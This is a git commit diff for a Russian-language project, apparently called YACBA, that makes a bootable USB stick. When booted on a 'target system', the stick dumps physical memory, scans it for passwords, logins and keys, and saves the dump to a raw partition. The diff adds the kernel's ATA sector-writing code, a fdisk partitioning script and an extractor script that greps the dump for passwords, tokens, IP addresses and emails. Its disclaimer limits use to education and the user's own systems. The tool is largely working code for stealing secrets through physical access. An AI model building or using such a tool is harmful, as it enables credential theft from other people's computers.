updated usb

.gitignore

@@ -29,5 +29,9 @@ Thumbs.db
 *.temp
 *.log
 
+# Memory dumps
+memdump_*.bin
+*.dump
+
 # Docker
 .dockerignore 

QUICK_START.md

@@ -34,6 +34,27 @@ sudo ./create_boot_usb.sh /dev/sdX  # замените X на вашу флеш
 
 - Память с адресов 1MB, 16MB, 256MB
 - Поиск паттернов: пароли, логины, ключи
-- Данные сохраняются в буфер по адресу 0x200000
+- Данные сохраняются в RAW формате на втором разделе
+- Заголовок с сигнатурой "YACBA" + размер дампа
+
+## Извлечение дампа
+
+После использования:
+```bash
+# Автоматическое извлечение и анализ
+sudo ./extract_dump.sh /dev/sdX
+
+# Или ручное извлечение
+sudo dd if=/dev/sdX2 of=memdump.bin bs=512 skip=1
+
+# Проверка заголовка
+hexdump -C /dev/sdX2 | head -2
+# 00000000  59 41 43 42 41 01 00 00  00 10 00 00 00 04 00 00
+#           Y  A  C  B  A  v1        size=4KB   sectors=4
+
+# Анализ
+strings memdump.bin | grep -i password
+hexdump -C memdump.bin | less
+```
 
 ⚠️ **Только для образования и своих систем!** 

README.md

@@ -13,14 +13,15 @@
 - `gdt.asm`, `print32.asm`, `switch_pm.asm` - Системные компоненты
 - `linker.ld` - Скрипт компоновки
 - `Makefile` - Сборка всей системы
+- `extract_dump.sh` - Извлечение дампа с флешки
 
 ## Принцип работы
 
-1. Загрузчик стартует с MBR
+1. Загрузчик стартует с MBR (раздел 1 - 10MB)
 2. Загружает ядро в память
 3. Переключается в защищенный режим
 4. Ядро сканирует и дампит память
-5. Сохраняет данные во внутренний буфер
+5. Сохраняет дамп на раздел 2 (RAW, без ФС)
 
 ## Сборка
 
@@ -43,6 +44,15 @@ sudo ./create_boot_usb.sh /dev/sdX
 
 Вставить флешку в целевую систему и перезагрузиться. Система загрузится автоматически и начнет дамп.
 
+## Извлечение дампа
+
+После использования:
+```bash
+sudo ./extract_dump.sh /dev/sdX
+```
+
+Скрипт автоматически извлечет дамп и выполнит базовый анализ.
+
 ## Быстрый старт
 
 См. [QUICK_START.md](QUICK_START.md) для краткой инструкции.

USAGE.txt

@@ -49,14 +49,32 @@ sudo ./create_boot_usb.sh /dev/sdX
 7. Пытается вывести через serial port
 
 === АНАЛИЗ РЕЗУЛЬТАТОВ ===
-Данные остаются в памяти по адресу 0x200000
+Дамп сохраняется на втором разделе флешки в RAW формате.
-Для анализа нужно использовать отладчик или дампер памяти
+
+Структура второго раздела:
+- Сектор 0: Заголовок с сигнатурой "YACBA" и метаданными
+- Сектор 1+: Данные дампа памяти
+
+Автоматическое извлечение:
+./extract_dump.sh /dev/sdX
+
+Ручное извлечение:
+1. Подключите флешку к анализирующей системе  
+2. Прочитайте заголовок: hexdump -C /dev/sdX2 | head -2
+3. Извлеките дамп: dd if=/dev/sdX2 of=dump.bin bs=512 skip=1
+
+Анализ дампа:
+- hexdump -C memdump.bin | less
+- strings memdump.bin | grep -i password
+- binwalk memdump.bin
+- volatility для анализа структур памяти
 
 === ОГРАНИЧЕНИЯ ===
 - Работает только на x86/x86_64
-- Может не работать с UEFI (нужен legacy BIOS)
+- Требует legacy BIOS (UEFI может не работать)
-- Не поддерживает файловые системы
+- Запись данных в RAW режиме (без файловой системы)
-- Данные только в оперативной памяти флешки
+- Простой ATA драйвер (может не работать с некоторыми контроллерами)
+- Дамп ограничен размером второго раздела флешки
 
 === ЭФФЕКТИВНОСТЬ ===
 Максимальная эффективность на:

create_boot_usb.sh

@@ -30,12 +30,40 @@ if [ ! -f "os.bin" ]; then
     exit 1
 fi
 
-echo "[*] Записываю образ на флешку..."
+echo "[*] Создаю разделы на флешке..."
-sudo dd if=os.bin of=$DEVICE bs=512 status=progress
+sudo umount ${DEVICE}* 2>/dev/null || true
+
+# Создаем таблицу разделов
+sudo fdisk $DEVICE << EOF
+o
+n
+p
+1
+
++10M
+n
+p
+2
+
+
+a
+1
+w
+EOF
+
+echo "[*] Записываю загрузчик..."
+sudo dd if=os.bin of=${DEVICE}1 bs=512 status=progress
+
+echo "[*] Инициализирую раздел данных..."
+# Создаем RAW раздел без файловой системы
+# Заполняем нулями первые 1MB для очистки
+sudo dd if=/dev/zero of=${DEVICE}2 bs=1M count=1 2>/dev/null
+echo "[*] RAW раздел для дампа готов"
 
 echo "[*] Синхронизирую данные..."
 sudo sync
 
 echo "[+] Автономная загрузочная флешка готова!"
-echo "[*] Флешка загрузится сама и начнет дамп памяти"
+echo "[*] Загрузочный раздел: ${DEVICE}1"  
-echo "[*] Просто вставьте её в целевую систему и перезагрузитесь" 
+echo "[*] Раздел для данных: ${DEVICE}2"
+echo "[*] Флешка загрузится сама и сохранит дамп на второй раздел" 

docker-build.sh

@@ -8,9 +8,16 @@ if ! command -v docker &> /dev/null; then
     exit 1
 fi
 
+# Проверяем архитектуру хоста
+ARCH=$(uname -m)
+if [[ "$ARCH" == "arm64" || "$ARCH" == "aarch64" ]]; then
+    echo "[!] Обнаружена ARM64 архитектура"
+    echo "[*] Будет использована эмуляция x86_64 (может быть медленно)"
+fi
+
 echo "[*] Сборка через Docker контейнер..."
 
-docker run --rm -v "$(pwd)":/work -w /work ubuntu:20.04 bash -c '
+docker run --platform linux/amd64 --rm -v "$(pwd)":/work -w /work ubuntu:20.04 bash -c '
 apt-get update -qq
 apt-get install -y nasm gcc binutils make
 

extract_dump.sh

@@ -0,0 +1,79 @@
+#!/bin/bash
+
+if [ $# -ne 1 ]; then
+    echo "Использование: $0 /dev/sdX"
+    echo "Где /dev/sdX - флешка с дампом"
+    exit 1
+fi
+
+DEVICE=$1
+DATA_PARTITION="${DEVICE}2"
+OUTPUT_FILE="memdump_$(date +%Y%m%d_%H%M%S).bin"
+
+if [ ! -b "$DEVICE" ]; then
+    echo "[-] Устройство $DEVICE не найдено"
+    exit 1
+fi
+
+if [ ! -b "$DATA_PARTITION" ]; then
+    echo "[-] Раздел данных $DATA_PARTITION не найден"
+    echo "[*] Проверьте что флешка создана правильно"
+    exit 1
+fi
+
+echo "=== YACBA Dump Extractor ==="
+echo "[*] Извлекаю дамп с $DATA_PARTITION"
+
+# Читаем заголовок для определения размера
+echo "[*] Читаю заголовок дампа..."
+HEADER_FILE=$(mktemp)
+sudo dd if=$DATA_PARTITION of=$HEADER_FILE bs=512 count=1 2>/dev/null
+
+# Проверяем магическую сигнатуру YACBA
+if ! grep -q "YACBA" "$HEADER_FILE" 2>/dev/null; then
+    echo "[-] Неверная сигнатура дампа. Возможно флешка не использовалась."
+    rm -f "$HEADER_FILE"
+    exit 1
+fi
+
+# Читаем размер дампа из заголовка (байты 8-11)
+DUMP_SIZE=$(hexdump -s 8 -n 4 -e '1/4 "%u"' "$HEADER_FILE" 2>/dev/null || echo "0")
+SECTORS_COUNT=$(hexdump -s 12 -n 4 -e '1/4 "%u"' "$HEADER_FILE" 2>/dev/null || echo "2048")
+
+rm -f "$HEADER_FILE"
+
+echo "[*] Размер дампа: $DUMP_SIZE байт"
+echo "[*] Секторов данных: $SECTORS_COUNT"
+
+# Извлекаем дамп (пропускаем заголовок)
+echo "[*] Копирую дамп памяти..."
+sudo dd if=$DATA_PARTITION of=$OUTPUT_FILE bs=512 skip=1 count=$SECTORS_COUNT status=progress 2>/dev/null
+
+if [ ! -f "$OUTPUT_FILE" ]; then
+    echo "[-] Ошибка извлечения дампа"
+    exit 1
+fi
+
+SIZE=$(stat -f%z "$OUTPUT_FILE" 2>/dev/null || stat -c%s "$OUTPUT_FILE" 2>/dev/null)
+echo "[+] Дамп извлечен: $OUTPUT_FILE"
+echo "[*] Размер: $SIZE байт"
+
+echo ""
+echo "=== Быстрый анализ ==="
+echo "[*] Поиск текстовых строк..."
+strings "$OUTPUT_FILE" | grep -E "(pass|login|key|token)" | head -10
+
+echo ""
+echo "[*] Поиск IP адресов..."
+strings "$OUTPUT_FILE" | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" | head -5
+
+echo ""
+echo "[*] Поиск email адресов..."
+strings "$OUTPUT_FILE" | grep -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | head -5
+
+echo ""
+echo "=== Команды для анализа ==="
+echo "hexdump -C $OUTPUT_FILE | less"
+echo "strings $OUTPUT_FILE | grep -i password"
+echo "binwalk $OUTPUT_FILE"
+echo "file $OUTPUT_FILE" 

kernel.c

@@ -119,6 +119,102 @@ void scan_memory_patterns(uint32_t *buffer, uint32_t size) {
     }
 }
 
+void write_sector_ata(uint32_t lba, uint8_t *buffer) {
+    outb(0x1F6, 0xE0 | ((lba >> 24) & 0x0F));
+    
+    outb(0x1F2, 1);
+    
+    // LBA адрес
+    outb(0x1F3, lba & 0xFF);
+    outb(0x1F4, (lba >> 8) & 0xFF);
+    outb(0x1F5, (lba >> 16) & 0xFF);
+    
+    // Команда записи
+    outb(0x1F7, 0x30);
+    
+    // Ждем готовности
+    while ((inb(0x1F7) & 0x80) != 0);
+    
+    // Записываем 512 байт по 2 байта (256 слов)
+    for (int i = 0; i < 256; i++) {
+        uint16_t word = buffer[i * 2] | (buffer[i * 2 + 1] << 8);
+        outb(0x1F0, word & 0xFF);
+        outb(0x1F0, (word >> 8) & 0xFF);
+    }
+    
+    // Ждем завершения записи
+    while ((inb(0x1F7) & 0x08) == 0);
+}
+
+void save_dump_to_usb(uint32_t *memory_dump, uint32_t size) {
+    print_string("[*] Сохраняю дамп на USB раздел 2 (RAW)...\n");
+    
+    uint32_t sectors_needed = (size * 4 + 511) / 512;
+    uint32_t start_lba = 20480;  // Начало второго раздела (~10MB)
+    
+    uint8_t *sector_buffer = (uint8_t*)0x400000;
+    
+    // Создаем заголовок дампа в первом секторе
+    for (int i = 0; i < 512; i++) sector_buffer[i] = 0;
+    
+    // Магическая сигнатура "YACBA" + версия
+    sector_buffer[0] = 'Y';
+    sector_buffer[1] = 'A'; 
+    sector_buffer[2] = 'C';
+    sector_buffer[3] = 'B';
+    sector_buffer[4] = 'A';
+    sector_buffer[5] = 0x01;  // версия
+    
+    // Размер дампа (4 байта little endian)
+    uint32_t dump_size = size * 4;
+    sector_buffer[8] = dump_size & 0xFF;
+    sector_buffer[9] = (dump_size >> 8) & 0xFF;
+    sector_buffer[10] = (dump_size >> 16) & 0xFF;
+    sector_buffer[11] = (dump_size >> 24) & 0xFF;
+    
+    // Количество секторов данных
+    sector_buffer[12] = sectors_needed & 0xFF;
+    sector_buffer[13] = (sectors_needed >> 8) & 0xFF;
+    sector_buffer[14] = (sectors_needed >> 16) & 0xFF;
+    sector_buffer[15] = (sectors_needed >> 24) & 0xFF;
+    
+    print_string("[*] Записываю заголовок...\n");
+    write_sector_ata(start_lba, sector_buffer);
+    
+    print_string("[*] Записываю данные дампа...\n");
+    for (uint32_t sector = 0; sector < sectors_needed; sector++) {
+        for (int i = 0; i < 512; i++) {
+            sector_buffer[i] = 0;
+        }
+        
+        uint32_t words_in_sector = 128;
+        if ((sector + 1) * 128 > size) {
+            words_in_sector = size - sector * 128;
+        }
+        
+        for (uint32_t w = 0; w < words_in_sector; w++) {
+            uint32_t data = memory_dump[sector * 128 + w];
+            sector_buffer[w * 4] = data & 0xFF;
+            sector_buffer[w * 4 + 1] = (data >> 8) & 0xFF;
+            sector_buffer[w * 4 + 2] = (data >> 16) & 0xFF;
+            sector_buffer[w * 4 + 3] = (data >> 24) & 0xFF;
+        }
+        
+        write_sector_ata(start_lba + 1 + sector, sector_buffer);
+        
+        if (sector % 100 == 0) {
+            print_char('.');
+        }
+    }
+    
+    print_string("\n[+] Дамп сохранен на USB!\n");
+    print_string("[*] Секторов записано: ");
+    print_hex(sectors_needed);
+    print_string("\n[*] Начальный LBA: ");
+    print_hex(start_lba);
+    print_char('\n');
+}
+
 void main() {
     uint32_t *memory_dump = (uint32_t*)0x200000;
     
@@ -141,20 +237,11 @@ void main() {
     print_string("[*] Анализ паттернов...\n");
     scan_memory_patterns(memory_dump, 0x400000);
     
-    print_string("[*] Попытка записи на USB...\n");
+    save_dump_to_usb(memory_dump, 0x100000);
-    delay(3);
-    
-    for (uint32_t i = 0; i < 0x100000; i++) {
-        if (i % 0x10000 == 0) print_char('.');
-        outb(0x3F8, (memory_dump[i] >> 24) & 0xFF);
-        outb(0x3F8, (memory_dump[i] >> 16) & 0xFF);
-        outb(0x3F8, (memory_dump[i] >> 8) & 0xFF);
-        outb(0x3F8, memory_dump[i] & 0xFF);
-    }
     
     print_string("\n[+] Дамп завершен!\n");
-    print_string("[*] Данные в памяти по адресу 0x200000\n");
+    print_string("[*] Данные сохранены на USB раздел 2\n");
-    print_string("[*] Система готова к извлечению USB\n");
+    print_string("[*] Безопасно извлекайте флешку\n");
     
     while(1) {
         delay(1000);